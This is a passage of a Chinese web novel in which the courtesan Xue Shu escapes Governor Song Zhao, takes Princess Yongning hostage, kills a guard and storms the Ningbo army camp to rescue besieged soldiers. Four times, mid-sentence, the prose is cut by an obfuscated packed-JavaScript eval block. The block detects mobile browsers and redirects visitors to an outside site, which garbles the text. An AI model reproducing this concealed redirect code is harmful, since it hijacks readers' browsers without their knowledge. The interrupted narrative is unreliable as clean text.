她缓缓抬眼,果然看到宋钊脸色更黑了:“那个贱婢,我就不该把她放在你身边。” 薛殊没吭声。 然而宋钊气恼归气恼,半句不提将竹青调开,可见这个眼线干活还是稳当的,给他省了不少心。又说了些有的没的废话,他想起正题:“等你身子再好些,爷就正式纳了你。” 薛殊早有准备,半点不露异色。 “爷知道,你心里怕着太太和老太太,”宋钊将她拉进怀里,像对待猫儿那样搓揉,“放心,爷说话算话,到时开宗祠,抬你为贵妾!你的名字上了宋家族谱,看谁敢为难你!” * 薛殊在书房里待了半个时辰,还好,这次出来时束带没散,也不需要重新整理丝绦。 但她脸色并不好看,就像精通川剧的变脸戏法一样,踏出书房门槛的下一刻,脸上的笑意就尽收了。 其实薛殊不该有这么大的反应,毕竟这回宋钊没做什么,除去过分狎昵的肢体接触和挑逗语言,几乎称得上君子。 可她还是恶心,恶心到恨不能跳进清泉汇成的池子里,将每一寸身体都洗刷干净。 “我受不了了,”她对赵文笙说,“我想离开这个笼子,现在,立刻,马上!” “你总会得偿所愿,”赵文笙叹息,“但你要想清楚,离开这里后的路该怎么走。” 薛殊想得很清楚,她简直要迫不及待地沿着自己规划好的路径向前狂奔。 她耐着性子熬了七八天,等身子养好,也等宋钊放松警觉。期间沈夫人和宋老太太又叫过她一回,这次倒是没动手,只叫她给一位年轻女客见礼,说是未来主母,今日见过,日后也好相处。 那姑娘一身时新的妆花缎料子,腰间掐出细细的褶子,六幅湘裙如涟漪荡漾。端坐堂上神色倨傲,瞧得出是大家小姐。俩婆子虎视眈眈地站在一旁,大有薛殊不跪就强摁她低头的意思。 但薛殊想得明白,她一点不想在将跑路的关头节外生枝,于是双膝跪地,很痛快地磕了三个头。 未来主母将她柔顺的姿态当作臣服,满意地赏了一只金镯子,不比宋钊的名贵,但也份量十足。 薛殊一点没勉强,当场戴上了。 她以为这就算过关了,没想到麻烦的不是未来主母,而是宋钊本人。听说她又被传唤了去,宋钊半个时辰后驾临闻香阁,盯着她面庞一气打量。 “你不气恼?”他问。 薛殊心里暗骂“有病”,脸上还得若无其事:“气恼什么?” 气恼什么? 当然是因为他要娶妻了! 但这话没法详细说,要解释清楚,就得牵扯上旁的女子听说情郎娶妻,不说一哭二闹三上吊,也得闹好一阵别扭,吃上几日干醋,怎么到了你这儿就淡定若斯,像是根本没这回事等等腻腻歪歪的矫情话。 宋钊是士大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849617|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫出身,自有风骨,他说不出口,只好板着一张脸,等薛殊来猜。 但薛殊其人,虽是在风尘之地教养出身,也颇见过些形形色色的人物,却一点没学会前辈分辨眉眼高低的本事,由得宋总督在那儿生闷气,自己该吃该睡一点不含糊。 宋钊为之气结,跟着上了床,把人搂在怀里,咬牙道:“我算看明白了,你就是个没心肝的东西!” 薛殊不吭声,一只手探进床缝,摸着自己在墙上刻下的划痕,眼帘微微垂落。 “今天已经是十四了,”她想。 第二天是农历十五,按惯例出门的日子。 可能是薛殊前一晚惹恼了宋钊,宋总督倒是没拦着她,只跟着的侍卫多了一倍。这当然不是什么好兆头,但倒计时已经打响,别说一倍,就是再加三倍也拦不住她的脚步。 她照旧去了吴家账房,对着新到的料子挑挑拣拣,末了朝掌柜的一笑,把个人精吓出一身冷汗。 下一站还是银楼,也是她与谢怀安约定碰面的地点。然而路上不太平,因为农历十五有庙会,入城的人流格外拥挤,他们先是被堵在半道上,又被一辆飞驰过来的马车蹭了下,倒是没什么人受伤,但跟着的护卫不可避免地被分开了。 电光火石间,一道精悍身影猿猴样跳下马车,将原来的车夫踹下车去,扯住缰绳用力甩动:“驾!” 车里的薛殊和竹青猛地一歪,那马车竟是避开人流,往一处偏僻巷子狂奔而去。 这一下出乎所有人意料,包括薛殊。她跟谢怀安商量的方案是进了银楼后,用加了料的茶水放倒跟着她的婢女侍卫,再扮作男装从容离去,可没有飞车抢人这一说。 那么到底是谢怀安临时改了方案,还是出现第三方势力中途搅局? 答案很快揭晓。 马车狂奔猛进,车里的两人成了被筛的元宵。亏得薛殊定力十足,人在上蹿下跳,手却伸了出去,将车帘掀开一条缝。 唔,外头是青砖垒的院墙,看着整洁大气。虽只开了角门,但瞧着后院气派,多半是高门大户、不菲人家。 等薛殊被拖下马车,带进屋里,见到那个端坐堂上,穿大红织金袄与翠蓝马面裙,神色倨傲恨不能拿下巴朝天的少女时,她越发肯定了这个揣测。 问题只在乎,这个招了烂桃花的麻烦精姓宋还是姓谢? 她没有揣测太久,因为少女身旁的青衫婢女冷冷斥道:“大胆贱婢!见了当朝公主,还不跪下!” 薛殊:“……” 啥玩意儿?你再说一遍,这丫头是谁! 公主? 哈,那种金贵的生物不是应该住在京城的皇宫大院里,身边围着里三层外三层的宫女太监,怎可能大老远跑到宁波城? 可能是听到了薛殊的心声,少女一摆手,止住了婢女的斥责。 “你就是那个让表哥心心念念神魂颠倒的勾栏女子?”据说是公主的女孩冷哼一声,“长得也不怎么样。” 薛殊从这句话里捕捉到几个关键点。 表哥,相貌,突如其来的绑架。 再结合她刚及笄的年岁,答案呼之欲出。 “很好,”薛殊咬牙切齿地想,“姓谢的还没帮上忙,先给我惹了一个天大的麻烦。 12. 第十二章 公主当然没有读取心声的能力,就算有,她也不会用在薛殊身上。 于她这样的人上人而言,薛殊是什么?是道旁疯长的野草,是脚下沾着的尘灰,也是檐上停落的小雀儿,谁会在乎草芥、灰尘和禽鸟的想法? 如果不是因为谢怀安,她这辈子都不会跟出身如此卑贱的女人待在同一间屋子里说话。 “虽然长得一般,但眼神忒活份,难怪能勾引表哥,”她冷冷道,“你说,表哥这些天总是魂不守舍,就是为了她?” 因为公主没把薛殊当个全乎人,自顾自地和婢女说话,薛殊很轻易收集到她想知道的信息点。 首先,谢怀安确实是名门出身。他爹叫谢必恩,先帝还活着那会儿就是吏部侍郎,嫁了个妹妹给当朝信王为妻,算是沾了外戚的边。有意思的是,先帝早逝,膝下没来得及留下一儿半女,按照兄终弟及的规矩,皇位就便宜了信王。 谢老爹原先可能只想做一门风险对冲的主意,毕竟鸡蛋不能放在一个篮子里是谁都明白的道理。却没想到天降馅饼,妹妹从王妃一跃成为皇后之尊,他也跟着鸡犬升天,享了国舅的荣耀。 名门、皇亲、年少有为,又生就一副如珠似玉的容貌,谢怀安的buff可以说是叠满了,但他偏偏不满足于此,硬是和无数没祖荫、没加成的寒门子弟挤在同一个赛道上,以一骑绝尘的睥睨之姿闯过独木桥,考取了进士功名。 就问你感不感动?惊不惊喜?震不震撼? 反正他嫡亲的姑表姐妹,皇后嫡出的永宁公主是感动的无以复加,寻死觅活非要嫁给他。 结果大失所望,理由很简单,表哥不同意,舅舅不同意,最重要的是大boss皇帝陛下也不同意。 因为驸马都尉这个职位听起来荣耀,却是没有实权的,适合一门心思走捷径的穷小子,却不适合书礼世家满心踌躇的新科进士。 把这么个栋梁苗子推上裙带赛道,这是联姻啊还是结仇啊? 皇帝不想结仇,所以他否了,但永宁公主不甘心。得知谢怀安为躲自己下了江南,她便借口外祖托梦,非要来谢氏祖籍走一遭。 如此寻死觅活外加孝道的大帽子压着,居然逼得皇帝松了口,许她微服离宫。 公主满意了,却把薛殊坑惨了。 永宁公主进了宁波城,一不拜谒外祖,二不接见知府,先派人打听谢怀安的下落。得知这位表哥最近忙得很,心中生出疑虑,再一刨根究底,得知表哥背了人跟个青楼出身的女子私下会面,当即怒从心头起、恶向胆边生。 要说这位公主的性情,与沈夫人是一路的,天真烂漫,喜怒随心,一点不在乎言谈中将自己的底细卖了个干净。她也确实不需要在乎,以她的身份,捏死薛殊就像捏死蚂蚁一样轻松。 但婢女有点犹豫,这是公主身边的大宫女,自小长在宫廷,对主子极为忠心。她倒不在乎薛殊一条性命,可薛殊毕竟是谢怀安看重的人。 “若是谢郎知道了……” 公主不以为意:“表哥同我一起长大,他才不会为了这等下贱之人生我的气。” 宫人还是踌躇:“可是……” “没什么可是!”永宁公主年岁不大,瞧着比薛殊还小一点,发落起人却毫不含糊,三言两语就能结果一条性命,“表哥可是当朝进士,跟个勾栏之人厮混不清像什么话?若传扬出去,被那帮言官弹劾,白白损了仕途。” 她在宫中长大,颇有些见识:“表哥心软,还得我替他除了这个祸害,日后他想明白了,只有感激我的份。” 她从头到尾不曾听薛殊说过一句辩解,自顾自下了判决。 宫人再明事理、再有见的,终究是公主家奴,见自家主子心意已决,也不吭声了。 公主就端坐喊人:“来人,把这个……” 她对处置人的流程十分熟悉,她坐在威严气派的太师椅中,高喊一声“来人”,自有宫人或是内宦或是侍卫蜂拥而入,将碍了主子眼的奴才拖出去,或杖毙或赐白绫或赏贴加官,保证处理得干干净净,不留一丝后患。 但她忘了问,薛殊是否愿意配合这套流程。 她那句命令尚未说完,原本低眉顺眼跪于下首的女子突然消失了。公主惊讶地睁大眼,然后她听见一声闷响。 是柔软的重物砸落时,磕着青砖地的动静。 永宁公主听到自己脖子发出嘎啦嘎啦的脆响,她扭过头,只见方才还侍立一旁的贴身宫人躺在砖地上,脸色平静,嘴角带着笑意——是那种向主子回话时惯常带着的,既喜庆又不好意思过分流露,只能微微抿着的笑意。 与此同时,一只尖利的金簪无声无息抵住自己后颈。 “公主若想活命,还是配合些的好。” “我这只钗子取过不少人的性命,倒也不介意饮一饮金枝玉叶的血。” * 公主,尤其是皇后所出的嫡长公主,身份金贵非同寻常,出行不可能只带一个宫人。 原本有四个宫人跟着,但她此行目的虽不畏惧被人知晓,却也不想大张旗鼓嚷嚷的满世界都知道,所以身边只留了一个最信任的心腹,其他打发去了后厨烹茶。 但也不能只有一个宫人,不然杖毙拖尸这些脏活谁来干?这就需要侍卫在场。 公主和宫人在屋里问话时,两个侍卫就在门口候着。忽听公主唤人,他们推门而入,行礼低头的一瞬,不忘环顾四周。 没错,是三个人,一坐一站一躺。坐着的是公主,站着的是她那名心腹宫人,躺在地上的穿着民女服色,想必是被他们劫来的女子。 哪怕是当朝公主,光天化日强掳民女亦是触犯刑律。但宋钊不在乎,眼前这位嫡嫡道道的公主殿下更不在乎。当主子的视人命为草芥,这不是再正常不过? 宫里待久了,最重要的一门功课就是明哲保身,谁也不会多嘴多事。两人只扫了一眼就收回目光,眼观鼻鼻观心,权当自己是人肉门神。 公主语气有些不稳,可能是刚处置了一条人命,心理建设再完备,到底是慌张的:“这人畏罪自裁,去把马车赶来,就停在院里。” 两名侍卫暗自纳罕,处置了个民女,交给自己拉出去埋了就好,何必费这般周折? 但公主有令,他们习惯了服从,因此不曾多问一句,径自下去办差。 不多会儿,马车牵来了,民女的尸体也被拖上去。侍卫留心瞧了眼,见那女子脸上被划了百十来道,血肉模糊分辨不出原本模样,端的是下手狠辣。 他心头腾起凉意,更加不敢多问,哪怕见着公主扶着宫人的手上了马车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849618|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也只是嘴唇微动,欲言又止。 只听公主吩咐道:“你来赶车,送本宫去南门。” 一顿之后,又转厉色:“叫其他人等在这里,没本宫的吩咐,任何人不许踏出院门半步。” 侍卫丈二和尚摸不着头脑,直觉这命令古怪得很,可堂堂公主,谁会对你一个赶车站岗的小人物解释? 他也不敢问,眼睁睁瞧着公主上了车。 这却不是宋家的马车,而是永宁公主自己的。虽未亮明天家身份,也是青幔朱饰,宽敞富丽。侍卫驾车驶上主街,每经过一重石板就颠簸一下,更有沿街叫卖汹涌而来,阻塞了耳目,也掩盖了身后诡异的动静。 薛殊用公主的腰带绑住公主手足,又毫不讲究地脱去她脚上的云头鞋,将一只净袜揉成一团,塞进公主嘴里。这一串流程说来简单,想做好却也需要有些不凡技巧,但薛殊就这么信手拈来,像是千锤百炼过一样。 “多谢公主配合,”她用金簪无锋面拍了拍公主娇嫩的脸颊,“放心,我留着你的命有用,一时半刻还舍不得你死。” 公主眼眶泛红,一半是怕,一半是快被气哭了。 薛殊不在乎她此刻的感受,就像公主也不在乎她的死活。眼看泪水冲开了小公主脸上的脂粉,薛殊笑了笑,将过分锋利的金簪收回袖中。 就在这时,马车减慢速度,逐渐停下。 南门到了。 车外传来问话声,是守城门的小吏拦住侍卫,正在盘问底细。小公主的眼睛亮了下,但紧接着,两根指甲尖锐的手指轻轻摁住她眼皮,叫她品尝到些微凉意。 那意思很明白,如果小公主敢故意闹出动静,她这双眼珠子也别想要了。 公主固然金尊玉贵,没了眼睛还有什么趣味?永宁公主打了个寒噤,歇了生事的心思。 侍卫不愧是宫中侍卫,哪怕不亮明车主人身份,也自有法子打发小鬼。两三句对话后,马车重新启程,这一回碾过的就不是光滑整洁的青石板,而是细碎的黄泥和沙石。 马车外的侍卫一心一意赶路,马车里的薛殊默默估算距离。等到城门和小吏被远远甩在身后,官道两侧再不闻半点人声,她揭开帘子看了眼,瞧见满眼的树木丛生,百草丰茂。 嗯,很适合干一点不那么符合精神文明建设的事。 薛殊捏了捏衣袖,在脑中飞快预演了接下来的每个步骤,而后开口:“停车。” 侍卫等这句话等了许久,立刻拉住缰绳。 薛殊:“你进来,公主有话吩咐。” 侍卫不明所以,公主的吩咐却不能不听,告了声罪,掀帘入内。迎接他的不是公主颐指气使的脸,而是一团白蒙蒙、火辣辣的粉末,顷刻间迷了眼目,叫他惨叫不迭,扑腾着两只手乱抓乱挥。 但是下一瞬,所有的惊呼与反击全部停止,因为一只尖利的金簪刺入脖颈,用力之大、入肉之深,不仅穿透了动脉,更险些在另一侧透出个簪尖。 鲜血“哧”地喷出,又被早有准备的薛殊用撕下来的裙摆捂住。她拍了拍手上沾着的香灰,眼看着侍卫睁着一双死不瞑目的眼倒下,心中再没有第一次杀人时的动荡。 她拔出簪子,抬头看向官道尽头,那里再往前十多里,就是她此行的目的地。 宁波大营! 13. 第十三章 宋钊是一个时辰后得到消息的。 这绝不是因为手下人无能,他们已经在马车被劫走后的第一时间采取措施——兵分两路,一半人手去追踪马车,一半向宋钊通风报信。 但宋钊还是耽搁了时间,因为祖籍宁波的谢氏族亲邀他赴自家老父亲的八十寿宴,终归是当朝皇后的娘家人,不好不给这个面子。 偏生谢氏规矩多,而前来报信的侍卫仪容略仓促了些,被迎宾的下仆当成是闹事的青皮,没问两句就唤来家丁,给人关进柴房。 等到侍卫费尽九牛二虎之力挣脱绳索,又假扮侍从混进宴席,寻到正向主人家敬酒的宋钊时,找人的黄金时间已经过去了。 当宋钊气急败坏地下令封锁城门,挨家挨户搜寻薛殊下落时,马车离目的地——宁波大营只剩最后五里。 这时候的军营是什么样? 薛殊毫无概念,只凭电视剧里一掠而过的画面想象,那应该是四周围一圈栅栏,可能是木头的,有可能涂了黄泥。有拒马,有瞭望台,最要紧的是有很多很多帐篷,云一样连接在一起,中间拱卫着中军大营。 这个印象不能说错,只她忽略了一点,驻守重兵的要塞,怎会容外人随意靠近? 离营盘五里处,薛殊遇到第一波斥候,共五人,统一骑马挎弓,兜圈子拦住马车。 “来者何人,因何窥探军营?” 薛殊当然不是宫人打扮,击杀侍卫后,她毫不客气地换上对方衣服,又把腰牌别在腰间。如今正好狐假虎威,冠冕堂皇地亮出来:“永宁公主驾到,尔等还不跪迎!” 斥候就愣了愣。 这些士兵大多是农民出身,这辈子没离开过宁波地界,见过最大的官就是营中副将,连总督都不知道长啥样,何况是当朝公主? 再说,那金尊玉贵的小丫头不躲在宫里吃烤番薯,跑到军营里做什么? 几个斥候相互看着,如果眼神会说话,已经咆哮出一句“你骗鬼呢吧!” 但薛殊的手亮在那儿,确确实实是宫里的腰牌,再加上这马车虽未显露天家气象,青幔朱饰也不是寻常人家敢用的,他们就有些拿不准。 拿不准,就不敢造次。 有斥候偷偷摸到窗口,想掀开帘子往里张望,被薛殊发现,及时喝止。 “放肆!”她气得脸都红了,“公主何等尊贵,岂容你冒犯?” 斥候不敢担上冒犯公主的罪名,讪讪将手缩了回去。 其实定计之初,薛殊并没有完全的把握,如果换成古之细柳营,甚至不需那样精锐的营盘,只要士卒再负责一点,指挥官再精细一点,她的计策都很难落地。 但这里不是细柳营,甚至不是大穆立朝之初的军队,而是经过近三百年的崎岖坎坷,即将走到末路的封建王朝。 这时候的军队啥素质、啥作战力,将领又是什么德行,可想而知。 当然,凡事不能排除绝对,一群怂矬里未必挑不出鹤立鸡群——比如昔年被朝野上下称为“天下第一强军”的辽东军,无论战力还是士卒素养都很可观。如果犯在他们手上,薛殊是绝对不敢玩花样的。 但……辽东军这不是没了吗? 剩下的除了战五渣就是矮穷矬,咱还怕他干啥玩意儿? “永宁公主归乡祭祖,闻听宁波城内有宵小作乱,特来调兵平叛,”薛殊将帽子画得又高又大,主打一个打不过你也震死你,“还不带公主去见黄国安?” 几个斥候瞳孔炸裂了。 黄国安是何许人也?那是宁波大营堂堂副将,论职位相当于副总兵,地方军区二把手,还是管执行那一摊;论地位除了宁波城里那位从一品总督,还真没怕过哪个。 可眼前这个细皮嫩肉的侍卫就这么漫不经心地叫出他的名字,仿佛堂堂副总兵跟街边卖大白菜的没什么两样。 于是一道难题摆在他们面前,是奉命听话,还是抗令不遵? 这就能看出精锐士卒和混军饷的差别,如果是前者,比如辽东军,这时就该给薛殊捆起来,交由军队负责人发落。 但眼前这几位可没这个胆子,都混军饷了,谁想拿自己人头去试试公主的份量重不重? 于是大营门口出现了一幕奇异的现象,几个全副武装的斥候小心簇拥着一辆马车,不像押送,倒像是护卫。 薛殊不动如风地赶着车,靠眼力估算自己与军营的距离。近了,更近了,已经连营门口的岗哨和拒马都能看清。 就在这时,她遭遇了第二波人马。 幸运的是,为了放人马出营,门口的拒马被搬开了。 不幸的是,这拨人领头的是个四十来岁的男人,身披山文甲,骑着高头大马,身后跟着亲兵,人数在二三十上下。 他纵马上前,想了想,还是翻身下马,抱拳行礼:“臣黄国安,叩见公主殿下。” “甲胄在身不能全礼,请殿下恕罪。” 堂堂副总兵都下马了,亲兵们当然不敢拿乔,一个二个跟着下了马。 现在难题踢回给薛殊自己,她有两条路可选:要么将侍卫的身份装下去,跟黄国安你来我往地寒暄一番,忽悠他带自己入营。 不过难度很高,毕竟黄副总官位高、见识广,不像底下小兵那么好忽悠。 那么只剩第二条路可走。 薛殊抬起头,发现面前出现了一条微妙的真空带——黄国安和亲兵下了马,暂时失去攻击力和机动性,营门口的拒马也被搬开,大路朝天直通营盘,再无任何阻挡。 那还等什么? 薛殊压根不与黄国安搭话,抄鞭子狠狠一抽:“驾!” 无端挨揍的骏马很委屈,它好好站在那儿,没乱嘶鸣也没尥蹶子,怎么就挨打了?但它没法跟主人争辩,只好化悲愤为力气,撒开四蹄没命狂奔,只一瞬就将黄国安和他的亲卫队甩在身后。 这地方离大营只有不到一里,也就是五百米。拉车的马儿是匹好马,宫中精挑细选的,说是日行千里也不为过。守营的士卒又懵了头,仓促间忘了将拒马搬回去,眼睁睁看着那发狂的马儿拉着颠上天的马车,横冲直撞地闯进大营。 当然有人上前去阻拦,人数还不少。但薛殊可不会坐以待毙,一边没命抽打马儿,一边扯开嗓子嘶吼:“公主在此,我看谁敢放肆!” “九族的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849619|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑袋不想要了吗!” 在封建王朝,皇权的威慑真是大过一切,即便有回过味的想拦,被人用刀架在九族脖子上,也得掂量再三。 他们退了,薛殊却没停下,她驾车往大营深处冲去,一边眼观六路耳听八方,判断自己要找的人究竟在哪。 这时,她听到了隐隐的喊杀声,似乎还有随风飘来的血腥味。 薛殊猛地抬头。 * 既是营盘,少不得修建校场。这地方一般平坦又开阔,寻常时候用于将士操练,不那么寻常的时候……就可以用来干些别的勾当。 比如借着发放寒衣的借口,将某些看不顺眼的人引过来,再把包围圈一收,来一招瓮中捉鳖。 在谋划者看来,这应该是相当轻松且悬殊的一场战斗。毕竟被围困住的士卒只有区区两百,而他们调来足有三千人的精锐部队,一比十五,怎么都不该落入下风。 可真干起仗来才发现,完全不是那么回事。 被包围的两百人,论兵力处于绝对劣势,论战力完全不是一个重量级。不管围剿他们的“友军”如何挥刀、冲阵,他们只管抱成一个团,刀盾手在前,长枪手在后,顶不住的退到里圈,自有人上前补位。 如此以一敌十五,硬生生扛了优势兵力半个多时辰。 谋划者一开始想着悄悄地干活,打枪的不要,并未调动大规模杀伤性武器。后来发现不行,这不是动静闹不闹大的问题,而是动静已经很大,再不平息要捅破天了。 于是一咬牙、一跺脚,将弓弩队调了来,万箭齐发,总算压制住“逆军”气焰。 再勇猛的士卒也没法以血肉之躯与远距离武器抗衡,二百人的被围剿方开始出现伤亡,连居中调度的指挥官都挨了一箭,札甲成了血染的红袍。 这当然是很疼的——不,不要相信古装剧里身中数箭拼死杀敌的英雄桥段。那样的人物有,但极少,反正如果换做薛殊,在接近胸口的部位挨上一箭,别说挥刀杀敌,能站直就不错了。 但这个年轻军官,可能是天生痛觉神经就比别人大条,也可能是怕自己倒下动摇军心,反手握住箭杆“嘎嘣”折断,没事人似地喝令道:“变阵!” 统共二百人的阵营,变的什么阵? 答案是,尖刀阵。 当他们抱成严丝合缝的“乌龟壳”时,除非以强弩开道,否则优势方冲阵再猛、刀兵再利,也很难撕开裂缝。 可当他们排出楔字状的尖刀阵型时,就像一把尘封多年的神兵骤然出鞘,只一个照面就给歪瓜裂枣们闪瞎了眼。 站在尖刀“刃尖”处的是个身量高大的壮汉,人是极勇武的,挥舞一把只差卖破烂的腰刀,硬是将层层叠叠的“友军”挡在刀锋外。身后刀盾手护住侧翼,为他扫清障碍,一步一步向前挪动。 这一幕像极了一艘小船,在波涛汹涌间乘风破浪。 直到居中指挥的年轻军官血流不支,倒在身后副手怀里。 直到那两百人的队伍因指挥官倒下而军心涣散,阵列也出现细微却致命的动荡。 ——薛殊纵马闯入校场时,面对的就是这么个情形。 14. 第十四章 应该说,薛殊赶到的时机刚刚好。 在此之前,她没有经历过真正的战阵,但眼前的局势清楚明白,并不需要对军阵有特别的了解。 她只管驾驶马车往人多的那一方阵营里横冲直撞,一边冲阵一边大吼:“公主在此,不要九族的只管试试!” 那些将将砍在身上的刀、戳进肉里的矛,顿时成了温柔的浪花,挑动她的秀发,与她擦肩而过,就是不敢伤她分毫。 高手过招,只在毫厘,两军对垒也一样。在士卒只是一瞬间的愣神,在薛殊却是千里大坝被白蚁啃开一线,不至于立刻溃散,却足够她从缺口里冲出。 就这么着,她从优势方的军阵中冲杀而出,当头和那挥舞破烂……不对,是腰刀的壮汉打了个照面。 壮汉也机灵,瞧着薛殊不像“友军”,砍落的刀锋慢了一瞬。趁此机会,薛殊缩回险些两断的脑袋,猫腰钻回车里,连拖带拽地拖出一道人影,当肉盾举在身前。 “当朝永宁公主在此!谁敢上前一步,我要他九族陪葬!” 围剿的优势方懵了。 被围剿的“逆军”呆了。 紧跟着冲回大营的黄国安傻眼了。 敢情您还真弄了个公主在手啊! 但黄副总到底是混官场的,弄明白局面,第一时间做出反应:“休听他胡言!此人假冒公主之名,欲私纵逆犯,还不给我拿下!” 薛殊早有准备,掏出公主嘴里的臭袜子。不需要循循善诱,永宁憋屈半天的尖利调门已经响彻所有人耳畔:“黄国安,你敢!本宫乃是当朝嫡公主,浙直总督宋钊和翰林院编修谢怀安均可作证!” “你今日动我一根汗毛,来日父皇不止取你狗头,你九族老小都免不了凌迟之刑!” 她毕竟是正牌公主,调门高,气势也足,一嗓子吼出来,黄国安震没震住姑且不论,满场兵丁是都吓傻了。 他们未必知道谢怀安是哪个台盘上的菜,但他们知道宋钊啊!那可是浙江地界一把手,顶头上司的顶头上司!他的名讳旁人不敢轻易提起,说出口前必要焚香跪拜,以示恭敬,如今却被这个自称是公主的少女大剌剌地挂在嘴边。 公主还在尖叫:“本公主要是少了一根头发,别说你们,宋钊满门都保不住!” 兵丁们就怂了,虽然未得军令不敢擅退,那股厮杀出的血勇却逐渐冷却,疲惫与怯懦占据高地。 他们怂了,黄国安不能怂,因为他是直接负责人——命令是他下的,兵也是他调的,事情传扬出去,旁人或许能脱身,他却是首当其冲,引九天之水也洗不干净。 于是有一瞬间,黄国安心里涌起一个邪恶且大胆的念头:反正能证明这丫头是公主的都不在场,就算他一不做、二不休,到时将罪责往“逆军”头上一推,谁还能说不是不成? 就算宋钊知道了,也只能出手保他,毕竟这缺德主意原是他的手笔! 想到这儿,黄国安缓缓抬头,脸上掠过极冷戾的阴影。 奈何黄副总今日出门前没看黄历,他这厢刚下定决心,大营门口再次传来骚乱。 又有人闯营,而且闯进来的是他无论如何不能下手的。 浙直总督宋钊,以及尚书府三少爷,今科进士谢怀安。 这二位原不是一路人,一前一后收到消息,这一惊非同小可,跳上马背就往宁波大营赶。就这么着,半途撞见了。 这个当口可没时间给他俩寒暄或者对质,拼死拼活闯入营中,总算抢在万箭齐发前一刻拦下人。 “都住手!”谢怀安嗓子差点喊劈了,“当朝公主在此,谁敢放肆!” 那永宁像是跟他串通好了,不必薛殊威胁恫吓,已经哀哀求告:“表哥!表哥快救我!” 这就算是当众认了亲,顺带坐实了公主的身份。众目睽睽之下,黄国安吃了熊心豹子胆也不敢连金枝玉叶带皇亲国戚一起干了,只能向顶头上司请示:“大人,您怎么看?” 宋钊瞪了他一眼,左半边脸刻着“蠢货”,右半边脸凿着“无能”。 惨遭嫌弃的无能蠢货退下了。 宋钊深深吸气,用充满水汽的凉风压下满心毒火。他来得匆忙,只点了一队精锐心腹,可世家府邸豢养的健仆再精锐能打,也没有典韦、关公那样的人物,指望他们闯入乱军丛中救下公主,连带将挟持公主的罪魁祸首一并带回来,显然是不成的。 那就只能谈判。 “好,好,好!”宋钊连道三个好,面容扭曲五官移位,可见是气狠了,“我真是小瞧你了!” 二百“逆军”面面相觑,不知他跟哪一位说话。只见被他们护持中央的“侍卫”掠一掠鬓发,推着公主上前一步。 “好说,”薛殊微笑,那笑意却像锥子一样,泛着霜、淬着毒,“能叫总督大人吃一个亏,也不枉我这些时日忍辱负重。” 宋钊地位摆在这儿,自以为对个风尘女子青睐有加是她三生修来的福分,谁知到了薛殊口中,那些旖旎风光一概不提,只剩一句“忍辱负重”。 霎时间好似一记重锤击中胸口,几要呕出一口血来。 万幸他自有城府,没在众人面前算他与薛殊那笔烂账,只道:“放了公主,我看在昔日情分上,必定保你不死。” 薛殊一笑,不曾拆穿他义正言辞的面具,只歪了歪头:“他们呢?” 宋钊转过视线,一张张渗着血、含着愤的面孔出现在视野中。这些草芥一样的军汉,本不配被总督大人看在眼里,这一刻却像箭矢一样,深深扎入眼球。 他像是想通了什么,又觉难以置信:“你竟是为了他们自投罗网?这些人与你有何相干,犯得着拿命来拼吗?” 这里是军营,哪怕所有人都闭上嘴,光是呼吸声就足够嘈杂。但这一瞬间,呼吸静止了,逢声也停歇了,偌大军营只有一个声音振荡不休。 薛殊一字一顿,像是清凌凌的浮冰碰撞在一起:“我今日闯营救人,不为别的,就为他们是我大穆的忠勇将士、热血男儿,拿命护佑过中原太平。” “宋总督,你坐拥江南安享太平时,可曾想过没有他们在关外苦寒之地拼死血战,哪来你如今的安稳日子?一边啃食着他们的血肉,一边销毁他们受冤的罪证,一边又盘算着屠戮无辜杀人灭口,宋总督,世间过河拆桥之人无数,可似你这般厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849620|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颜无耻卑劣狠绝,实在是非同凡响,旷世绝伦!” 宋钊曾经觉得薛殊不善言辞。 她虽是在花柳之地长大的,却不懂媚上逢迎,也不会软语扮痴。明明有一副不属于人的姿容,却因着主人木讷倔强的脾气而少了几分风情,多了些许不讨人喜欢的棱角。 